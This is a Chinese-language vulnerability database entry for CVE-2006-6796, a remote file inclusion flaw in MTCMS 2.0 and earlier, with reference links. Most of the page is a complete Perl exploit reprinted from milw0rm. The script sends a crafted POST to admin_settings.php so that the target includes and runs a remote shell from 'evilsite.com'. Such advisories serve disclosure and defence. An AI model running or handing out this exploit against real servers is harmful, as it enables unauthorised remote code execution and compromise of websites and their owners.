MTCMS 'Admin_Settings.PHP'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111864 漏洞类型 输入验证
发布时间 2006-12-25 更新时间 2007-01-02
CVE编号 CVE-2006-6796 CNNVD-ID CNNVD-200612-555
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/3005
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200612-555
|漏洞详情
MTCMS2.0及更早版本的admin/admin_settings.php中存在PHP远程文件包含漏洞,远程攻击者可以通过ins_file参数中的URL执行任意PHP代码。
|漏洞EXP
#!/usr/bin/perl
# +-------------------------------------------------------------------------------------------
# + MTCMS <= 2.0 (admin/admin_settings.php) Remote File Include Exploit
# +-------------------------------------------------------------------------------------------
# + Affected Software .: MTCMS <= 2.0
# + Vendor ............: http://www.mtcms.co.uk/
# + Download ..........: http://mtcms.co.uk/downloads/index.php?file=MTCMS-V2.rar
# + Description .......: "MTCMS is a PHP/MySQL, Content Management System (CMS)."
# + Class .............: Remote File Inclusion
# + Risk ..............: High (Remote File Execution)
# + Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
# + Requirements.......: register_globals = on
# +-------------------------------------------------------------------------------------------

use Getopt::Long;
use URI::Escape;
use IO::Socket;

$remotefile = "http://evilsite.com/shell.php";

main();

sub usage
{
    print "\nMTCMS <= 2.0 Remote File Include Exploit\n";
    print "nuffsaid <nuffsaid[at]newbslove.us>\n";
    print "-h, --host\ttarget host\t(example.com)\n";
    print "-f, --file\tremote file\t(http://evilsite.com/shell.php)\n";
    print "-d, --dir\tinstall dir\t(/mtcms)\n";
    exit;
}

sub main
{
    GetOptions ('h|host=s' => \$host,'f|file=s' => \$file,'d|dir=s' => \$dir);
    usage() unless $host;
    $remotefile = $file unless !$file;
    $url = uri_escape($remotefile);
    
    $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
     or die "\nconnect() failed.\n";
     
    print "\nconnected to ".$host.", sending data.\n";
    $sendurl = "inst=true&ins_file=".$url."";
    $sendlen = length($sendurl);
    print $sock "POST ".$dir."/admin/admin_settings.php?b=addons&c=easy_add HTTP/1.1\n";
    print $sock "Host: ".$host."\n";
    print $sock "Connection: close\n";
    print $sock "Content-Type: application/x-www-form-urlencoded\n";
    print $sock "Content-Length: ".$sendlen."\n\n";
    print $sock $sendurl;
    print "attempted to include remote file, server response:\n\n";
    while($recvd = <$sock>)
    {
        print " ".$recvd."";
    }
    exit;
}

# milw0rm.com [2006-12-25]
|参考资料

来源:BID
名称:21770
链接:http://www.securityfocus.com/bid/21770
来源:MILW0RM
名称:3005
链接:http://www.milw0rm.com/exploits/3005
来源:VUPEN
名称:ADV-2006-5185
链接:http://www.frsirt.com/english/advisories/2006/5185
来源:SECUNIA
名称:23503
链接:http://secunia.com/advisories/23503
来源:MILW0RM
名称:3005
链接:http://milw0rm.com/exploits/3005